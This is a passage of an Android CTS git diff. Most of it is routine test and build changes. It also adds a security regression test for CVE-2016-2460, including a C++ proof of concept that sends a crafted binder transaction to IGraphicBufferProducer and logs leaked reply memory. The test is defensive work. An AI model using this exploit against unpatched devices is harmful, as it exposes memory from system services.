-import org.junit.runner.RunWith;
-import org.junit.runners.Parameterized.Parameters;
-import org.junit.runners.Parameterized.UseParametersRunnerFactory;
-
-@RunWith(DeviceJUnit4Parameterized.class)
-@UseParametersRunnerFactory(DeviceJUnit4ClassRunnerWithParameters.RunnerFactory.class)
-public class HevcYuv422BitstreamsTest extends MediaBitstreamsTest {
-
-    @Parameters(name = "{1}")
-    public static Iterable<Object[]> bitstreams() {
-        return MediaBitstreamsTest.bitstreams("hevc/yuv422", BitstreamPackage.STANDARD);
-    }
-
-    public HevcYuv422BitstreamsTest(String prefix, String path,
-            BitstreamPackage pkg, BitstreamPackage packageToRun) {
-        super(prefix, path, pkg, packageToRun);
-    }
-
-}

diff --git a/hostsidetests/media/bitstreams/src/android/media/cts/bitstreams/Vp9Yuv422BitstreamsTest.java b/hostsidetests/media/bitstreams/src/android/media/cts/bitstreams/Vp9Yuv422BitstreamsTest.java
deleted file mode 100644
index eeb465a..0000000
--- a/hostsidetests/media/bitstreams/src/android/media/cts/bitstreams/Vp9Yuv422BitstreamsTest.java
+++ /dev/null

@@ -1,36 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.media.cts.bitstreams;
-
-import org.junit.runner.RunWith;
-import org.junit.runners.Parameterized.Parameters;
-import org.junit.runners.Parameterized.UseParametersRunnerFactory;
-
-@RunWith(DeviceJUnit4Parameterized.class)
-@UseParametersRunnerFactory(DeviceJUnit4ClassRunnerWithParameters.RunnerFactory.class)
-public class Vp9Yuv422BitstreamsTest extends MediaBitstreamsTest {
-
-    @Parameters(name = "{1}")
-    public static Iterable<Object[]> bitstreams() {
-        return MediaBitstreamsTest.bitstreams("vp9/yuv422", BitstreamPackage.STANDARD);
-    }
-
-    public Vp9Yuv422BitstreamsTest(String prefix, String path,
-            BitstreamPackage pkg, BitstreamPackage packageToRun) {
-        super(prefix, path, pkg, packageToRun);
-    }
-
-}

diff --git a/hostsidetests/os/test-apps/StaticSharedLibConsumerApp3/Android.mk b/hostsidetests/os/test-apps/StaticSharedLibConsumerApp3/Android.mk
index 212a4ec..f6d763b 100644
--- a/hostsidetests/os/test-apps/StaticSharedLibConsumerApp3/Android.mk
+++ b/hostsidetests/os/test-apps/StaticSharedLibConsumerApp3/Android.mk

@@ -30,9 +30,10 @@
 
 LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
-# Disable AAPT2 to fix:
+LOCAL_USE_AAPT2 := true
+# Disable AAPT2 manifest checks to fix:
 # cts/hostsidetests/os/test-apps/StaticSharedLibConsumerApp3/AndroidManifest.xml:28: error: unexpected element <additional-certificate> found in <manifest><application><uses-static-library>.
-# TODO(b/79755007): Re-enable AAPT2 when it supports the missing features.
-LOCAL_USE_AAPT2 := false
+# TODO(b/79755007): Remove when AAPT2 recognizes the manifest elements.
+LOCAL_AAPT_FLAGS += --warn-manifest-validation
 
 include $(BUILD_CTS_SUPPORT_PACKAGE)

diff --git a/hostsidetests/security/AndroidTest.xml b/hostsidetests/security/AndroidTest.xml
index e52fad6..229bf11 100755
--- a/hostsidetests/security/AndroidTest.xml
+++ b/hostsidetests/security/AndroidTest.xml

@@ -43,6 +43,11 @@
         <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
         <option name="push" value="CVE-2016-2419->/data/local/tmp/CVE-2016-2419" />
 
+        <!--__________________-->
+        <!-- Bulletin 2016-05 -->
+        <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
+        <option name="push" value="CVE-2016-2460->/data/local/tmp/CVE-2016-2460" />
+
         <!-- Bulletin 2016-09 -->
         <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
         <option name="push" value="CVE-2016-2471->/data/local/tmp/CVE-2016-2471" />

diff --git a/hostsidetests/security/securityPatch/CVE-2016-2460/Android.mk b/hostsidetests/security/securityPatch/CVE-2016-2460/Android.mk
new file mode 100755
index 0000000..186a7da
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2016-2460/Android.mk

@@ -0,0 +1,49 @@
+# Copyright (C) 2018 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2016-2460
+LOCAL_SRC_FILES := poc.cpp
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+LOCAL_SHARED_LIBRARIES := \
+        libcutils \
+        libc \
+        libbinder \
+        libutils \
+        liblog \
+        libmedia \
+        libsoundtrigger \
+        libgui
+
+LOCAL_C_INCLUDES := \
+    $(TOP)/frameworks/native/include/media/openmax \
+    $(TOP)/frameworks/av/include/media/ \
+    $(TOP)/frameworks/av/media/libstagefright \
+    $(call include-path-for, audio-effects) \
+    $(call include-path-for, audio-utils)
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts sts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS += -Wall -Werror
+LOCAL_LDFLAGS += -fPIE -pie
+LOCAL_LDFLAGS += -rdynamic
+include $(BUILD_CTS_EXECUTABLE)

diff --git a/hostsidetests/security/securityPatch/CVE-2016-2460/poc.cpp b/hostsidetests/security/securityPatch/CVE-2016-2460/poc.cpp
new file mode 100755
index 0000000..83a5cf3
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2016-2460/poc.cpp

@@ -0,0 +1,74 @@
+/**
+* Copyright (C) 2018 The Android Open Source Project
+*
+* Licensed under the Apache License, Version 2.0 (the "License");
+* you may not use this file except in compliance with the License.
+* You may obtain a copy of the License at
+*
+*      http://www.apache.org/licenses/LICENSE-2.0
+*
+* Unless required by applicable law or agreed to in writing, software
+* distributed under the License is distributed on an "AS IS" BASIS,
+* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+* See the License for the specific language governing permissions and
+* limitations under the License.
+*/
+
+#include <binder/IServiceManager.h>
+#include <binder/Parcel.h>
+#include <fcntl.h>
+#include <gui/IGraphicBufferProducer.h>
+#include <media/IMediaPlayer.h>
+#include <media/IMediaPlayerClient.h>
+#include <media/IMediaPlayerService.h>
+#include <media/IMediaRecorder.h>
+#include <sys/stat.h>
+#include <sys/time.h>
+
+using namespace android;
+
+int main(__attribute__((unused)) int argc,
+         __attribute__((unused)) char *const argv[]) {
+
+  sp<IServiceManager> sm = defaultServiceManager();
+  sp<IBinder> MeidaPlayerService = sm->checkService(String16("media.player"));
+
+  // get IMediaPlayerService
+  sp<IMediaPlayerService> iMPService =
+      IMediaPlayerService::asInterface(MeidaPlayerService);
+  ALOGI("Get iMPService instance, 0x%08lx\n", (unsigned long)iMPService.get());
+  sp<IMediaRecorder> recorder =
+      iMPService->createMediaRecorder(String16("poc"));
+  ALOGI("Get recorder instance, 0x%08lx\n", (unsigned long)recorder.get());
+
+  const char *fileName = "/sdcard/test";
+  int fd = open(fileName, O_RDWR | O_CREAT, 0744);
+  recorder->setVideoSource(2);
+  recorder->setOutputFile(fd);
+  recorder->setOutputFormat(0);
+  recorder->init();
+  recorder->prepare();
+  recorder->start();
+
+  // get IGraphicBufferProducer
+  sp<IGraphicBufferProducer> iGBP = recorder->querySurfaceMediaSource();
+  ALOGI("Get iGBP instance, 0x%08lx\n", (unsigned long)iGBP.get());
+
+  Parcel data, reply;
+  data.writeInterfaceToken(iGBP->getInterfaceDescriptor());
+  data.writeInt32(-1);
+  IGraphicBufferProducer::asBinder(iGBP)->transact(10 /*CONNECT*/, data,
+                                                   &reply);
+  int len = reply.dataAvail();
+  ALOGI("dataAvail = %d\n", len);
+  unsigned int *leaked_data = (unsigned int *)reply.data();
+  for (int i = 0; i < (len / 4); ++i) {
+    ALOGE("IGraphicBufferProducer_InfoLeak leaked data = 0x%08x",
+          leaked_data[i]);
+
+    if (i < 4 && leaked_data[i] != 0) {
+      ALOGE("IGraphicBufferProducer_Info is Leaked");
+    }
+  }
+  return 0;
+}

diff --git a/hostsidetests/security/src/android/security/cts/Poc16_05.java b/hostsidetests/security/src/android/security/cts/Poc16_05.java
new file mode 100644
index 0000000..9a1030d
--- /dev/null
+++ b/hostsidetests/security/src/android/security/cts/Poc16_05.java

@@ -0,0 +1,34 @@
+/**
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+
+@SecurityTest
+public class Poc16_05 extends SecurityTestCase {
+    /**
+     *  b/27555981
+     */
+    @SecurityTest
+    public void testPocCVE_2016_2460() throws Exception {
+        AdbUtils.runCommandLine("logcat -c" , getDevice());
+        AdbUtils.runPoc("CVE-2016-2460", getDevice(), 60);
+
+        String logcat =  AdbUtils.runCommandLine("logcat -d", getDevice());
+        assertNotMatches("[\\s\\n\\S]*IGraphicBufferProducer_Info is Leaked[\\s\\n\\S]*", logcat);
+    }
+}

diff --git a/hostsidetests/usage/src/android/app/usage/cts/AppIdleHostTest.java b/hostsidetests/usage/src/android/app/usage/cts/AppIdleHostTest.java
index 1243cdd..b3485d1 100644
--- a/hostsidetests/usage/src/android/app/usage/cts/AppIdleHostTest.java
+++ b/hostsidetests/usage/src/android/app/usage/cts/AppIdleHostTest.java

@@ -17,16 +17,21 @@
 package android.app.usage.cts;
 
 import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
 import static org.junit.Assert.assertNotEquals;
+import static org.junit.Assume.assumeTrue;
 
 import com.android.tradefed.device.DeviceNotAvailableException;
 import com.android.tradefed.device.ITestDevice;
-import com.android.tradefed.testtype.DeviceTestCase;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
 
-import java.util.regex.Matcher;
-import java.util.regex.Pattern;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
-public class AppIdleHostTest extends DeviceTestCase {
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class AppIdleHostTest extends BaseHostJUnit4Test {
     private static final String SETTINGS_APP_IDLE_CONSTANTS = "app_idle_constants";
 
     private static final String TEST_APP_PACKAGE = "android.app.usage.app";
@@ -38,17 +43,14 @@
     private static final int SB_ACTIVE = 10;
     private static final int SB_WORKING_SET = 20;
     private static final int SB_FREQUENT = 30;
-    private static final int SB_RARE = 40;
-    private static final int SB_NEVER = 50;
 
     /**
      * A reference to the device under test.
      */
     private ITestDevice mDevice;
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
+    @Before
+    public void setUp() {
         // Get the device, this gives a handle to run commands and install APKs.
         mDevice = getDevice();
     }
@@ -105,6 +107,7 @@
     /**
      * Tests that the app is not idle right after it is launched.
      */
+    @Test
     public void testAppIsNotIdleAfterBeingLaunched() throws Exception {
         final String previousState = getAppIdleSettings();
         try {
@@ -122,6 +125,12 @@
                 String.format("am set-standby-bucket %s %s", packageName, bucket));
     }
 
+    private boolean isAppStandbyEnabled() throws DeviceNotAvailableException {
+        final String result = mDevice.executeShellCommand(
+                "dumpsys usagestats is-app-standby-enabled").trim();
+        return Boolean.parseBoolean(result);
+    }
+
     private int getAppStandbyBucket(String packageName) throws Exception {
         String bucketString = mDevice.executeShellCommand(
                 String.format("am get-standby-bucket %s", packageName));
@@ -132,7 +141,9 @@
         return -1;
     }
 
+    @Test
     public void testSetAppStandbyBucket() throws Exception {
+        assumeTrue("App standby not enabled on device", isAppStandbyEnabled());
         // Set to ACTIVE
         setAppStandbyBucket(TEST_APP_PACKAGE, SB_ACTIVE);
         assertEquals(SB_ACTIVE, getAppStandbyBucket(TEST_APP_PACKAGE));
@@ -141,7 +152,9 @@
         assertEquals(20, getAppStandbyBucket(TEST_APP_PACKAGE));
     }
 
+    @Test
     public void testSetAppStandbyBuckets() throws Exception {
+        assumeTrue("App standby not enabled on device", isAppStandbyEnabled());
         // Set multiple packages states
         String command = String.format("am set-standby-bucket %s %d %s %d",
                 TEST_APP_PACKAGE, SB_FREQUENT, TEST_APP_PACKAGE2, SB_WORKING_SET);
@@ -150,12 +163,16 @@
         assertEquals(SB_WORKING_SET, getAppStandbyBucket(TEST_APP_PACKAGE2));
     }
 
+    @Test
     public void testCantSetOwnStandbyBucket() throws Exception {
+        assumeTrue("App standby not enabled on device", isAppStandbyEnabled());
         setAppStandbyBucket("com.android.shell", 40);
         assertNotEquals(40, getAppStandbyBucket("com.android.shell"));
     }
 
+    @Test
     public void testOutOfBoundsStandbyBucket() throws Exception {
+        assumeTrue("App standby not enabled on device", isAppStandbyEnabled());
         setAppStandbyBucket(TEST_APP_PACKAGE, SB_ACTIVE);
         assertEquals(SB_ACTIVE, getAppStandbyBucket(TEST_APP_PACKAGE));
         // Try lower than min

diff --git a/hostsidetests/usb/Android.mk b/hostsidetests/usb/Android.mk
index f08261e..116fa39 100644
--- a/hostsidetests/usb/Android.mk
+++ b/hostsidetests/usb/Android.mk

@@ -26,7 +26,7 @@
 LOCAL_CTS_TEST_PACKAGE := android.usb
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
 
 include $(BUILD_CTS_HOST_JAVA_LIBRARY)
 

diff --git a/hostsidetests/usb/SerialTestApp/Android.mk b/hostsidetests/usb/SerialTestApp/Android.mk
index bbd55f6..601c0ba 100644
--- a/hostsidetests/usb/SerialTestApp/Android.mk
+++ b/hostsidetests/usb/SerialTestApp/Android.mk

@@ -31,6 +31,6 @@
 LOCAL_SDK_VERSION := current
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
 
 include $(BUILD_CTS_PACKAGE)

diff --git a/tests/JobScheduler/src/android/jobscheduler/cts/DeviceIdleJobsTest.java b/tests/JobScheduler/src/android/jobscheduler/cts/DeviceIdleJobsTest.java
index 0a78c54..e624a62 100644
--- a/tests/JobScheduler/src/android/jobscheduler/cts/DeviceIdleJobsTest.java
+++ b/tests/JobScheduler/src/android/jobscheduler/cts/DeviceIdleJobsTest.java

@@ -24,6 +24,7 @@
 
 import static org.junit.Assert.assertFalse;
 import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeTrue;
 
 import android.app.job.JobParameters;
 import android.content.BroadcastReceiver;
@@ -41,6 +42,8 @@
 import android.support.test.uiautomator.UiDevice;
 import android.util.Log;
 
+import com.android.compatibility.common.util.AppStandbyUtils;
+
 import org.junit.After;
 import org.junit.Before;
 import org.junit.Test;
@@ -76,6 +79,9 @@
     private int mTestJobId;
     private int mTestPackageUid;
     private boolean mDeviceInDoze;
+    private boolean mDeviceIdleEnabled;
+    private boolean mAppStandbyEnabled;
+
     /* accesses must be synchronized on itself */
     private final TestJobStatus mTestJobStatus = new TestJobStatus();
     private final BroadcastReceiver mReceiver = new BroadcastReceiver() {
@@ -103,6 +109,11 @@
         }
     };
 
+    private static boolean isDeviceIdleEnabled(UiDevice uiDevice) throws Exception {
+        final String output = uiDevice.executeShellCommand("cmd deviceidle enabled deep").trim();
+        return Integer.parseInt(output) != 0;
+    }
+
     @Before
     public void setUp() throws Exception {
         mContext = InstrumentationRegistry.getTargetContext();
@@ -121,11 +132,19 @@
         mContext.registerReceiver(mReceiver, intentFilter);
         assertFalse("Test package already in temp whitelist", isTestAppTempWhitelisted());
         makeTestPackageIdle();
-        setTestPackageStandbyBucket(Bucket.ACTIVE);
+        mDeviceIdleEnabled = isDeviceIdleEnabled(mUiDevice);
+        mAppStandbyEnabled = AppStandbyUtils.isAppStandbyEnabled();
+        if (mAppStandbyEnabled) {
+            setTestPackageStandbyBucket(Bucket.ACTIVE);
+        } else {
+            Log.w(TAG, "App standby not enabled on test device");
+        }
     }
 
     @Test
     public void testAllowWhileIdleJobInTempwhitelist() throws Exception {
+        assumeTrue("device idle not enabled", mDeviceIdleEnabled);
+
         toggleDeviceIdleState(true);
         Thread.sleep(DEFAULT_WAIT_TIMEOUT);
         sendScheduleJobBroadcast(true);
@@ -137,6 +156,8 @@
 
     @Test
     public void testForegroundJobsStartImmediately() throws Exception {
+        assumeTrue("device idle not enabled", mDeviceIdleEnabled);
+
         sendScheduleJobBroadcast(false);
         assertTrue("Job did not start after scheduling", awaitJobStart(DEFAULT_WAIT_TIMEOUT));
         toggleDeviceIdleState(true);
@@ -150,6 +171,8 @@
 
     @Test
     public void testBackgroundJobsDelayed() throws Exception {
+        assumeTrue("device idle not enabled", mDeviceIdleEnabled);
+
         sendScheduleJobBroadcast(false);
         assertTrue("Job did not start after scheduling", awaitJobStart(DEFAULT_WAIT_TIMEOUT));
         toggleDeviceIdleState(true);
@@ -165,8 +188,10 @@
 
     @Test
     public void testJobsInNeverApp() throws Exception {
-        setTestPackageStandbyBucket(Bucket.NEVER);
+        assumeTrue("app standby not enabled", mAppStandbyEnabled);
+
         enterFakeUnpluggedState();
+        setTestPackageStandbyBucket(Bucket.NEVER);
         Thread.sleep(DEFAULT_WAIT_TIMEOUT);
         sendScheduleJobBroadcast(false);
         assertFalse("New job started in NEVER standby", awaitJobStart(3_000));
@@ -175,8 +200,8 @@
 
     @Test
     public void testUidActiveBypassesStandby() throws Exception {
-        setTestPackageStandbyBucket(Bucket.NEVER);
         enterFakeUnpluggedState();
+        setTestPackageStandbyBucket(Bucket.NEVER);
         tempWhitelistTestApp(6_000);
         Thread.sleep(DEFAULT_WAIT_TIMEOUT);
         sendScheduleJobBroadcast(false);
@@ -187,7 +212,9 @@
 
     @After
     public void tearDown() throws Exception {
-        toggleDeviceIdleState(false);
+        if (mDeviceIdleEnabled) {
+            toggleDeviceIdleState(false);
+        }
         final Intent cancelJobsIntent = new Intent(TestJobSchedulerReceiver.ACTION_CANCEL_JOBS);
         cancelJobsIntent.setComponent(new ComponentName(TEST_APP_PACKAGE, TEST_APP_RECEIVER));
         cancelJobsIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);

diff --git a/tests/accessibility/Android.mk b/tests/accessibility/Android.mk
index cf41720..6dc7a5f 100644
--- a/tests/accessibility/Android.mk
+++ b/tests/accessibility/Android.mk

@@ -29,7 +29,7 @@
 LOCAL_JAVA_LIBRARIES := android.test.base.stubs
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
 
 LOCAL_SDK_VERSION := test_current
 

diff --git a/tests/accessibilityservice/Android.mk b/tests/accessibilityservice/Android.mk
index 44dee81..ed9c388 100644
--- a/tests/accessibilityservice/Android.mk
+++ b/tests/accessibilityservice/Android.mk

@@ -29,7 +29,7 @@
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
 
 LOCAL_PACKAGE_NAME := CtsAccessibilityServiceTestCases
 

diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityFingerprintGestureTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityFingerprintGestureTest.java
index fbd2361..e45f0f4 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityFingerprintGestureTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityFingerprintGestureTest.java

@@ -51,7 +51,6 @@
 public class AccessibilityFingerprintGestureTest {
     private static final int FINGERPRINT_CALLBACK_TIMEOUT = 3000;
 
-    boolean mIsHardwareAvailable;
     FingerprintManager mFingerprintManager;
     StubFingerprintGestureService mFingerprintGestureService;
     FingerprintGestureController mFingerprintGestureController;
@@ -73,8 +72,6 @@
                 .hasSystemFeature(FEATURE_FINGERPRINT)
                 ? instrumentation.getContext().getSystemService(FingerprintManager.class) : null;
         mFingerprintGestureService = StubFingerprintGestureService.enableSelf(instrumentation);
-        mIsHardwareAvailable = (mFingerprintManager == null) ? false :
-                mFingerprintManager.isHardwareDetected();
         mFingerprintGestureController =
                 mFingerprintGestureService.getFingerprintGestureController();
     }
@@ -85,14 +82,8 @@
     }
 
     @Test
-    public void testGestureDetectionAvailable_initialState_shouldBeAvailable() {
-        assertEquals(mIsHardwareAvailable,
-                mFingerprintGestureController.isGestureDetectionAvailable());
-    }
-
-    @Test
     public void testGestureDetectionListener_whenAuthenticationStartsAndStops_calledBack() {
-        if (!mIsHardwareAvailable) {
+        if (!mFingerprintGestureController.isGestureDetectionAvailable()) {
             return;
         }
         // Launch an activity to make sure we're in the foreground

diff --git a/tests/accessibilityservice/test-apps/WidgetProvider/Android.mk b/tests/accessibilityservice/test-apps/WidgetProvider/Android.mk
index a0c1d97..e35f83c 100644
--- a/tests/accessibilityservice/test-apps/WidgetProvider/Android.mk
+++ b/tests/accessibilityservice/test-apps/WidgetProvider/Android.mk

@@ -21,7 +21,7 @@
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
 
 LOCAL_PACKAGE_NAME := CtsAccessibilityWidgetProvider
 

diff --git a/tests/app/app/Android.mk b/tests/app/app/Android.mk
index 89034bb..2d24cb5 100644
--- a/tests/app/app/Android.mk
+++ b/tests/app/app/Android.mk

@@ -47,9 +47,10 @@
 LOCAL_PACKAGE_NAME := CtsAppTestStubs
 LOCAL_PRIVATE_PLATFORM_APIS := true
 
-# Disable AAPT2 to fix:
+LOCAL_USE_AAPT2 := true
+# Disable AAPT2 manifest checks to fix:
 # cts/tests/app/app/AndroidManifest.xml:25: error: unexpected element <meta-data> found in <manifest><permission>.
-# TODO(b/79755007): Re-enable AAPT2 when it supports the missing features.
-LOCAL_USE_AAPT2 := false
+# TODO(b/79755007): Remove when AAPT2 recognizes the manifest elements.
+LOCAL_AAPT_FLAGS += --warn-manifest-validation
 
 include $(BUILD_CTS_SUPPORT_PACKAGE)

diff --git a/tests/app/app/res/values/styles.xml b/tests/app/app/res/values/styles.xml
index 9f62d79..4758000 100644
--- a/tests/app/app/res/values/styles.xml
+++ b/tests/app/app/res/values/styles.xml

@@ -125,8 +125,8 @@
 
     <style name="TestProgressBar">
         <item name="android:indeterminateOnly">false</item>
-        <item name="android:progressDrawable">?android:drawable/progress_horizontal</item>
-        <item name="android:indeterminateDrawable">?android:drawable/progress_horizontal</item>
+        <item name="android:progressDrawable">@android:drawable/progress_horizontal</item>
+        <item name="android:indeterminateDrawable">@android:drawable/progress_horizontal</item>
         <item name="android:minHeight">20dip</item>
         <item name="android:maxHeight">20dip</item>
         <item name="android:focusable">true</item>

diff --git a/tests/app/src/android/app/cts/PersonTest.java b/tests/app/src/android/app/cts/PersonTest.java
index a5869e6..0607e99 100644
--- a/tests/app/src/android/app/cts/PersonTest.java
+++ b/tests/app/src/android/app/cts/PersonTest.java

@@ -24,8 +24,31 @@
 import android.test.AndroidTestCase;
 
 public class PersonTest extends AndroidTestCase {
+    private static final CharSequence TEST_NAME = "Test Name";
+    private static final String TEST_URI = Uri.fromParts("a", "b", "c").toString();
+    private static final String TEST_KEY = "test key";
 
-    public void testPerson_defaults() {
+    public void testPerson_builder() {
+        Icon testIcon = createIcon();
+        Person person =
+            new Person.Builder()
+                .setName(TEST_NAME)
+                .setIcon(testIcon)
+                .setUri(TEST_URI)
+                .setKey(TEST_KEY)
+                .setBot(true)
+                .setImportant(true)
+                .build();
+
+        assertEquals(TEST_NAME, person.getName());
+        assertEquals(testIcon, person.getIcon());
+        assertEquals(TEST_URI, person.getUri());
+        assertEquals(TEST_KEY, person.getKey());
+        assertTrue(person.isBot());
+        assertTrue(person.isImportant());
+    }
+
+    public void testPerson_builder_defaults() {
         Person person = new Person.Builder().build();
         assertFalse(person.isBot());
         assertFalse(person.isImportant());
@@ -35,11 +58,32 @@
         assertNull(person.getUri());
     }
 
+    public void testToBuilder() {
+        Icon testIcon = createIcon();
+        Person original =
+            new Person.Builder()
+                .setName(TEST_NAME)
+                .setIcon(testIcon)
+                .setUri(TEST_URI)
+                .setKey(TEST_KEY)
+                .setBot(true)
+                .setImportant(true)
+                .build();
+        Person result = original.toBuilder().build();
+
+        assertEquals(TEST_NAME, result.getName());
+        assertEquals(testIcon, result.getIcon());
+        assertEquals(TEST_URI, result.getUri());
+        assertEquals(TEST_KEY, result.getKey());
+        assertTrue(result.isBot());
+        assertTrue(result.isImportant());
+    }
+
     public void testPerson_parcelable() {
         Person person = new Person.Builder()
                 .setBot(true)
                 .setImportant(true)
-                .setIcon(Icon.createWithResource(getContext(), R.drawable.icon_blue))
+                .setIcon(createIcon())
                 .setKey("key")
                 .setName("Name")
                 .setUri(Uri.fromParts("a", "b", "c").toString())
@@ -57,4 +101,16 @@
         assertEquals(person.getName(), result.getName());
         assertEquals(person.getUri(), result.getUri());
     }
+
+    public void testDescribeContents() {
+        Person person = new Person.Builder().build();
+
+        // Person has no special objects, so always return 0 for describing parcelable contents
+        assertEquals(0, person.describeContents());
+    }
+
+    /** Creates and returns an {@link Icon} for testing. */
+    private Icon createIcon() {
+        return Icon.createWithResource(getContext(), R.drawable.icon_blue);
+    }
 }

diff --git a/tests/autofillservice/Android.mk b/tests/autofillservice/Android.mk
index 63e69e3..5d74e87 100644
--- a/tests/autofillservice/Android.mk
+++ b/tests/autofillservice/Android.mk

@@ -34,7 +34,7 @@
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
 
 LOCAL_PACKAGE_NAME := CtsAutoFillServiceTestCases
 

diff --git a/tests/autofillservice/src/android/autofillservice/cts/CustomDescriptionWithLinkTestCase.java b/tests/autofillservice/src/android/autofillservice/cts/CustomDescriptionWithLinkTestCase.java
index def4907..7587722 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/CustomDescriptionWithLinkTestCase.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/CustomDescriptionWithLinkTestCase.java

@@ -25,7 +25,6 @@
 import android.service.autofill.CustomDescription;
 import android.support.test.uiautomator.By;
 import android.support.test.uiautomator.UiObject2;
-import android.util.Log;
 import android.widget.RemoteViews;
 
 import static org.junit.Assume.assumeTrue;
@@ -48,7 +47,6 @@
  */
 abstract class CustomDescriptionWithLinkTestCase extends AutoFillServiceTestCase {
 
-    private static final String TAG = "CustomDescriptionWithLinkTestCase";
     private static final String ID_LINK = "link";
 
     /**
@@ -69,13 +67,9 @@
     public final void testTapLink_changeOrientationThenTapBack() throws Exception {
         assumeTrue("Rotation is supported", Helper.isRotationSupported(mContext));
 
-        final int width = mUiBot.getDevice().getDisplayWidth();
-        final int heigth = mUiBot.getDevice().getDisplayHeight();
-        final int min = Math.min(width, heigth);
-
-        assumeTrue("Screen size is too small (" + width + "x" + heigth + ")", min >= 500);
-        Log.d(TAG, "testTapLink_changeOrientationThenTapBack(): screen size is "
-                + width + "x" + heigth);
+        // If the screen is too small and the devices shows an IME, it might not have space for all
+        // UI elements after the device is rotated to landscape.
+        mUiBot.assumeMinimumResolution(500);
 
         mUiBot.setScreenOrientation(UiBot.PORTRAIT);
         try {

diff --git a/tests/autofillservice/src/android/autofillservice/cts/Helper.java b/tests/autofillservice/src/android/autofillservice/cts/Helper.java
index cf8011f..b7c80cf 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/Helper.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/Helper.java

@@ -98,8 +98,6 @@
      */
     public static final String UNUSED_AUTOFILL_VALUE = null;
 
-    private static final String CMD_LIST_SESSIONS = "cmd autofill list sessions";
-
     private static final String ACCELLEROMETER_CHANGE =
             "content insert --uri content://settings/system --bind name:s:accelerometer_rotation "
                     + "--bind value:i:%d";
@@ -805,14 +803,6 @@
     }
 
     /**
-     * Asserts that there is a pending session for the given package.
-     */
-    public static void assertHasSessions(String packageName) {
-        final String result = runShellCommand(CMD_LIST_SESSIONS);
-        assertThat(result).contains(packageName);
-    }
-
-    /**
      * Gets the instrumentation context.
      */
     public static Context getContext() {

diff --git a/tests/autofillservice/src/android/autofillservice/cts/InstrumentedAutoFillService.java b/tests/autofillservice/src/android/autofillservice/cts/InstrumentedAutoFillService.java
index ced83cf..a575f12 100644
